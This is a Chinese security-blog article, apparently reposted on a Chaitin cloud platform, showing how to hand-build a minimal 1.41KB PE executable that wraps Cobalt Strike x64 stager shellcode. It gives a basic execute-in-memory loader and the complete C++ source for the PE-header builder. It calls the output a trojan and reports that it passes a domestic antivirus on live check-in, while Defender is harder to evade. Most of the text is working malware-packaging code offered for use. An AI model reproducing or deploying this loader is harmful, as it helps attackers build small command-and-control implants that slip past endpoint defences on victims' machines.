长亭百川云 - 文章详情

手写超迷你shellcode加载

41group

42

2024-07-13

欢迎各位大佬入群交流,需要各种资料也可入群领取。

二维码失效加好友进群!!!!!!!!!!!

wx:kalithion

shellcode加载器最小可以达到多大呢?50kb?20kb?10kb?5kb?都不是,经过遐想仔细的研究学习发现,在不考虑免杀的情况下,cobaltstrike的x64 的shellcode加载可以达到1.4kb的大小。本文就来浅浅的品一下是如何将加载器压缩到这么小的。

首先我们都知道shellcode其实就是二进制,转换过来也就是机器码。我们所要做的就是创建3个PE标头,然后进行一个最小文件对齐。

我们简单了解一下cs生成的shellcode都做了些什么,他对cs所设置的stager网络数据包解析,然后下载载荷并执行,完成这些操作后我们的cs就会多出一台上线机器了。shellcode是一种地址无关代码,只要给他EIP(x64中叫RIP)就能够开始运行。

1  
2  
3  
4  
5  
6  
7  
8  
9  

#include<stdio.h>  
#include<Windows.h>  
int main() {  
	unsigned char buf[] = "shellcode";  
	LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
	memcpy(address, buf, sizeof(buf));  
	((void(*)())address)();  
	return 0;  
}

这个是一个最简单基础的shellcode加载器,应该也是C语言能写的最小的加载器,但是他远远达不到我们对体积的极致要求。我们要用魔法打败魔法,手搓PE,我们需要给shellcode文件加上

1  
2  
3  
4  
5  

IMAGE_DOS_HEADER //内存映射的前 64 个字节是 IMAGE_DOS_HEADER ,作为 Windows 程序,末尾指向 IMAGE_FILE_HEADER 的指针,是PE文件的第一个部分。这里面有两个重要的数据成员。第一个为e_magic,这个必须为MZ,即0x5A4D。另一个重要的数据成员是最后一个成员e_lfanew,这个成员的值为IMAGE_NT_HEADERS的偏移。  
  
IMAGE_NT_HEADER //PE相关结构的映像头,DOS头结构体中的e_lfanew正是指向这里。  
  
IMAGE_SECTION_HEADER //结构体数组构成,每个元素描述一个区段的信息,以NULL 元素结束。  

这三个标头,这里我们使用C++来实现手搓。

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  

#include <Windows.h>  
#include <stdio.h>  
  
  
int main(int argc, char* argv[])  
{  
	HANDLE hFileShellcode = INVALID_HANDLE_VALUE;  
	HANDLE hFileOutput = INVALID_HANDLE_VALUE;  
	DWORD dwRead, dwWritten;  
	LARGE_INTEGER liFileSize;  
	PVOID pShellcode = NULL;  
  
	IMAGE_DOS_HEADER imageDosHeader = { 0 };  
	IMAGE_NT_HEADERS64 imageNtHeaders64 = { 0 };  
	IMAGE_SECTION_HEADER imageSectionHeader = { 0 };  
	unsigned char text[8] = { ',', 't', 'e', 'x', 't', '\x00', '\x00', '\x00' };  

我们先定义一下后面需要使用的东西和.text区段(代码段)。PE文件结构解析 。

1  
2  
3  
4  
5  

if (argc != 3)  
	{  
		printf(".\\%s <Shellcode.bin> <Output.exe>\n", argv[0]);  
		return 0;  
	}  

定义一下我们需要的参数

1  
2  
3  
4  
5  
6  
7  
8  

do  
	{  
		GetFileSizeEx(hFileShellcode, &liFileSize);  
		hFileShellcode = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  
		pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, liFileSize.LowPart);  
		ReadFile(hFileShellcode, pShellcode, liFileSize.LowPart, &dwRead, NULL);  
		imageDosHeader.e_magic = 0x5A4D;  
		imageDosHeader.e_lfanew = sizeof(IMAGE_DOS_HEADER);  

这里我们打开指定的shellcode.bin文件,并且通过liFileSize.LowPart判断大小来给他分配内存。定义e_magic为0x5A4D,也就是我们熟知的MZ。e_lfanew呢则根据IMAGE_DOS_HEADER大小来定义因为他是IMAGE_NT_HEADERS的偏移量。

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  

imageNtHeaders64.Signature = 0x00004550;  
imageNtHeaders64.FileHeader.Machine = 0x8664;  
imageNtHeaders64.FileHeader.NumberOfSections = 1;  
imageNtHeaders64.FileHeader.Characteristics = 0022;  
imageNtHeaders64.FileHeader.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);  
imageNtHeaders64.OptionalHeader.Magic = 0x020B;  
imageNtHeaders64.OptionalHeader.AddressOfEntryPoint = 0x1000;  
imageNtHeaders64.OptionalHeader.SectionAlignment = 0x1000;  
imageNtHeaders64.OptionalHeader.FileAlignment = 0x200;  
imageNtHeaders64.OptionalHeader.MajorOperatingSystemVersion = 0x6;  
imageNtHeaders64.OptionalHeader.MinorOperatingSystemVersion = 0x0;  
imageNtHeaders64.OptionalHeader.MajorImageVersion = 0x0;  
imageNtHeaders64.OptionalHeader.MinorImageVersion = 0x0;  
imageNtHeaders64.OptionalHeader.MajorSubsystemVersion = 0x6;  
imageNtHeaders64.OptionalHeader.MinorSubsystemVersion = 0x0;  
imageNtHeaders64.OptionalHeader.SizeOfImage = 0x1000 + liFileSize.LowPart;  
imageNtHeaders64.OptionalHeader.SizeOfHeaders = sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER);  
imageNtHeaders64.OptionalHeader.Subsystem = 0x2;  
imageNtHeaders64.OptionalHeader.DllCharacteristics = 0x8160;  

这里分别定义PE00、AMD64 0x8664、PE64等一些固定的PE数据,这里AddressOfEntryPoint 0x1000代表的就是.text 部分的第一个字节,SectionAlignment段对齐 - 默认 0x1000,无所谓的,加载到内存后的,文件对齐,FileAlignment 0x200 是最低的没有办法哎。SizeOfImage = 0x1000 + liFileSize.LowPart这里是计算我们shellcode的大小的。DllCharacteristics = 0x8160 这里就是ASLR 等。

1  
2  
3  
4  
5  
6  
7  
8  
9  

imageSectionHeader.SizeOfRawData = liFileSize.LowPart;  
imageSectionHeader.Misc.VirtualSize = liFileSize.LowPart;  
imageSectionHeader.VirtualAddress = 0x1000;  
imageSectionHeader.PointerToRawData = 0x200;  
imageSectionHeader.Characteristics = 0x60000020;  
for (size_t i = 0; i < 8; i++)  
{  
	imageSectionHeader.Name[i] = text[i];  
}  

这里原始数据大小和 VirtualSize 等于 shellcode 大小,PointerToRawData 由于 FileAlignment,必须在 0x200 上,所以它比标头的大小的总和更大,这个木得办法。Characteristics = 0x60000020 在 .text 区段从 CFF 执行读取和更多的内容。最后用for循环库库的写出来

1  
2  
3  
4  

	WriteFile(hFileOutput, &imageDosHeader, sizeof(imageDosHeader), &dwWritten, NULL);  
	WriteFile(hFileOutput, &imageNtHeaders64, sizeof(imageNtHeaders64), &dwWritten, NULL);  
	WriteFile(hFileOutput, &imageSectionHeader, sizeof(imageSectionHeader), &dwWritten, NULL);  
} while (false);

这里我们先把三个头部都写入我们创建好的文件中,然后

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  

BOOL flag1 = true;  
for (size_t i = 0; i < 0x200 - sizeof(imageDosHeader) - sizeof(imageNtHeaders64) - sizeof(imageSectionHeader); i++)  
	{  
		char pad = '\x00';  
		if (!WriteFile(hFileOutput, &pad, 1, &dwWritten, NULL))  
		{  
			flag1 = false;  
			break;  
		}  
		if (flag1)  
		{  
			printf("[*] 无法将填充内容写入输出文件\n");  
			break;  
		}  
	}  
WriteFile(hFileOutput, pShellcode, liFileSize.LowPart, &dwWritten, NULL);  

用00空字节进行废物填充手术,直到0x200,然后WriteFile写如我们的shellcode,最后礼貌的来个收尾工作。

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  

		if (hFileShellcode != INVALID_HANDLE_VALUE)  
			{  
				CloseHandle(hFileShellcode);  
			}  
  
		if (hFileOutput != INVALID_HANDLE_VALUE)  
			{  
				CloseHandle(hFileOutput);  
			}  
  
		if (pShellcode)  
			{  
				HeapFree(GetProcessHeap(), 0, pShellcode);  
			}  
		return 0;  
}

到这里我们就已经完成了手搓一个小的极致的PE加载工具。丢上VS编译一下看看效果。

完整代码如下:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59  
60  
61  
62  
63  
64  
65  
66  
67  
68  
69  
70  
71  
72  
73  
74  
75  
76  
77  
78  
79  
80  
81  
82  
83  
84  
85  
86  
87  
88  
89  
90  
91  
92  
93  
94  
95  
96  
97  
98  
99  
100  
101  
102  
103  
104  
105  
106  
107  
108  
109  
110  
111  
112  
113  
114  
115  
116  
117  
118  
119  
120  
121  
122  
123  
124  
125  
126  
127  
128  
129  
130  
131  
132  
133  
134  
135  
136  
137  
138  
139  
140  
141  
142  
143  
144  
145  
146  
147  
148  
149  
150  
151  
152  
153  
154  
155  
156  
157  
158  
159  
160  
161  
162  
163  
164  
165  

#include <Windows.h>  
#include <stdio.h>  
  
  
int main(int argc, char* argv[])  
{  
	HANDLE hFileShellcode = INVALID_HANDLE_VALUE;  
	HANDLE hFileOutput = INVALID_HANDLE_VALUE;  
	DWORD dwRead, dwWritten;  
	LARGE_INTEGER liFileSize;  
	PVOID pShellcode = NULL;  
	IMAGE_DOS_HEADER imageDosHeader = { 0 };  
	IMAGE_NT_HEADERS64 imageNtHeaders64 = { 0 };  
	IMAGE_SECTION_HEADER imageSectionHeader = { 0 };  
	unsigned char text[8] = { ',', 't', 'e', 'x', 't', '\x00', '\x00', '\x00' };  
  
  
	if (argc != 3)  
	{  
		printf(".\\%s <Shellcode.bin> <Output.exe>\n", argv[0]);  
		return 0;  
	}  
  
	do  
	{  
		hFileShellcode = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  
		if (hFileShellcode == INVALID_HANDLE_VALUE)  
		{  
			printf("[*] 打开shellcode文件失败 %s\n", argv[1]);  
			break;  
		}  
  
		if (!GetFileSizeEx(hFileShellcode, &liFileSize))  
		{  
			printf("[*] shellcode文件大小异常\n");  
			break;  
		}  
  
		pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, liFileSize.LowPart);  
		if (!pShellcode)  
		{  
			printf("[*] 无法为 shellcode 分配内存\n");  
			break;  
		}  
  
		if (!ReadFile(hFileShellcode, pShellcode, liFileSize.LowPart, &dwRead, NULL))  
		{  
			printf("[*] 读取shellcode失败\n");  
			break;  
  
		}  
  
		printf("[*] Shellcode 读取到大小为 %d\n", liFileSize.LowPart);  
  
		printf("[*] 创建 PE 头\n");  
  
		printf("[*] 创建imageDosHeader\n");  
		imageDosHeader.e_magic = 0x5A4D;  
		imageDosHeader.e_lfanew = sizeof(IMAGE_DOS_HEADER);  
		printf("[*] 创建imageNtHeaders64\n");  
		imageNtHeaders64.Signature = 0x00004550;  
		imageNtHeaders64.FileHeader.Machine = 0x8664;  
		imageNtHeaders64.FileHeader.NumberOfSections = 1;  
		imageNtHeaders64.FileHeader.Characteristics = 0022;  
		imageNtHeaders64.FileHeader.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);  
		imageNtHeaders64.OptionalHeader.Magic = 0x020B;  
		imageNtHeaders64.OptionalHeader.AddressOfEntryPoint = 0x1000;  
		imageNtHeaders64.OptionalHeader.SectionAlignment = 0x1000;  
		imageNtHeaders64.OptionalHeader.FileAlignment = 0x200;  
		imageNtHeaders64.OptionalHeader.MajorOperatingSystemVersion = 0x6;  
		imageNtHeaders64.OptionalHeader.MinorOperatingSystemVersion = 0x0;  
		imageNtHeaders64.OptionalHeader.MajorImageVersion = 0x0;  
		imageNtHeaders64.OptionalHeader.MinorImageVersion = 0x0;  
		imageNtHeaders64.OptionalHeader.MajorSubsystemVersion = 0x6;  
		imageNtHeaders64.OptionalHeader.MinorSubsystemVersion = 0x0;  
		imageNtHeaders64.OptionalHeader.SizeOfImage = 0x1000 + liFileSize.LowPart;  
		imageNtHeaders64.OptionalHeader.SizeOfHeaders = sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER);  
		imageNtHeaders64.OptionalHeader.Subsystem = 0x2;  
		imageNtHeaders64.OptionalHeader.DllCharacteristics = 0x8160;  
		imageSectionHeader.SizeOfRawData = liFileSize.LowPart;  
		imageSectionHeader.Misc.VirtualSize = liFileSize.LowPart;  
		imageSectionHeader.VirtualAddress = 0x1000;  
		imageSectionHeader.PointerToRawData = 0x200;  
		imageSectionHeader.Characteristics = 0x60000020;  
		  
		for (size_t i = 0; i < 8; i++)  
		{  
			imageSectionHeader.Name[i] = text[i];  
		}  
  
		printf("[*] 完成构建文件,开始输出\n");  
  
		hFileOutput = CreateFileA(argv[2], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
		if (hFileOutput == INVALID_HANDLE_VALUE)  
		{  
			printf("[*] 无法创建输出文件 %s\n", argv[2]);  
			break;  
		}  
  
		printf("[*] 写Header\n");  
		if (!WriteFile(hFileOutput, &imageDosHeader, sizeof(imageDosHeader), &dwWritten, NULL) ||  
!WriteFile(hFileOutput, &imageNtHeaders64, sizeof(imageNtHeaders64), &dwWritten, NULL) ||  
!WriteFile(hFileOutput, &imageSectionHeader, sizeof(imageSectionHeader), &dwWritten, NULL))  
		{  
			printf("[*] 无法将Header写入输出文件\n");  
			break;  
		}  
  
  
		printf("[*] 写填充\n");  
  
	  
		BOOL flag = true;  
		for (size_t i = 0; i < 0x200 - sizeof(imageDosHeader) - sizeof(imageNtHeaders64) - sizeof(imageSectionHeader); i++)  
		{  
			char pad = '\x00';  
			if (!WriteFile(hFileOutput, &pad, 1, &dwWritten, NULL))  
			{  
				flag = false;  
				break;  
			}  
		}  
		if (!flag)  
		{  
			printf("[*] 无法将填充内容写入输出文件\n");  
			break;  
		}  
		  
	printf("[*] 写shellcode\n");  
  
  
	if (!WriteFile(hFileOutput, pShellcode, liFileSize.LowPart, &dwWritten, NULL))  
	{  
		printf("[*] 无法将 shellcode 写入输出文件\n");  
		break;  
	}  
  
  
	} while (false);  
  
  
	printf("[*] 善后一下\n");  
  
	if (hFileShellcode != INVALID_HANDLE_VALUE)  
	{  
		CloseHandle(hFileShellcode);  
	}  
  
	if (hFileOutput != INVALID_HANDLE_VALUE)  
	{  
		CloseHandle(hFileOutput);  
	}  
  
	if (pShellcode)  
	{  
		HeapFree(GetProcessHeap(), 0, pShellcode);  
	}  
  
  
  
	return 0;  
  
}  
  
  

这样就get到了一个1.41kb的马子,当然人家已经这么小了就不能对于免杀方面太苛刻。我们用国产之光,某数字测试一下看看。

动态上线也是没有问题的,核晶也不会拦截。但是对于defender来说就会有些乏力(也不是完全没有办法)。小既是美~

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2